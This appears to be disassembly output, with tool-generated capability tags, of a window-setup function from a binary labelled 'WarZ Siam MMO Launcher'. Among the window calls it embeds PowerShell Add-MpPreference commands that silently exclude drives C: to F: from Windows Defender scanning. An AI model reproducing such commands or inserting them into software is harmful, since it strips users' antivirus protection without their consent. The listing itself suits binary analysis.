Function at 0x581c80
Capabilities:
Hide graphical window
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e5efe
mov eax, dword fs:[0]
push eax
sub esp, 0x208
mov eax, dword [0x6cdf60]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00590480
cmp byte [0x88ea67], 0
je 0x581d01
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call fcn.005c14a3
add eax, 0x20
push eax
push 0x68fd54
push 0x6945a0
call fcn.005c13e3
call fcn.005c14a3
push eax
push 0x6945a8
push str.CONIN_
call fcn.005c13e3
add esp, 0x18
mov dword [0x7e91b0], 1
jmp 0x581f03
sub esp, 0x18
mov ecx, esp
push 0x6e
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_C:
mov byte [ecx], 0
call fcn.00580a90
call fcn.00581b90
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_D:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.00580a90
call fcn.00581b90
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_E:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.00580a90
call fcn.00581b90
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_F:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.00580a90
call fcn.00581b90
add esp, 0x18
call fcn.0057d1d0
push 5
push dword [0x7ea8ac]
call dword [sym.imp.USER32.dll_LoadIconA]
push eax
push 0
push 0x80
push dword [0x7ea8b0]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x800000
push 0
push dword [0x7ea8b0]
call fcn.0059a730
push 0xc00000
push 0
push dword [0x7ea8b0]
call fcn.0059a730
add esp, 0x18
push 0x581a10
push 0xfffffffffffffffc
push dword [0x7ea8b0]
call dword [sym.imp.USER32.dll_SetWindowLongA]
call fcn.005a4190
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateICA]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 8
push ebx
call esi
push 0xa
push ebx
mov edi, eax
call esi
mov ecx, eax
lea eax, [edi - 0x311]
cdq
sub eax, edx
mov esi, eax
lea eax, [ecx - 0x28a]
sar esi, 1
cdq
sub eax, edx
sar eax, 1
push 0
push 0x28a
push 0x311
push eax
push esi
push 0
push dword [0x7ea8b0]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x102650
call fcn.0059c090
add esp, 4
mov dword [ebp - 0x214], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x581e7f
mov ecx, eax
call fcn.0059c370
jmp 0x581e81
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
push 0
push dword [0x7ea8b0]
mov dword [0x7e9264], eax
call fcn.0059e8f0
call fcn.00580f30
push str.Jun__6_2024_00:51:32
push str.0.1.9
lea eax, [ebp - 0x210]
push str.WarZ_Siam_MMO__Launcher__s___s_
push eax
call fcn.00584d70
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push dword [0x7ea8b0]
call dword [sym.imp.USER32.dll_SetWindowTextA]
call fcn.005813c0
push 5
push dword [0x7ea8b0]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.USER32.dll_ClipCursor]
mov ecx, dword [0x7e924c]
call fcn.005a7740
mov ecx, dword [0x7e9248]
call fcn.005a7790
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005bf536
mov esp, ebp
pop ebp
ret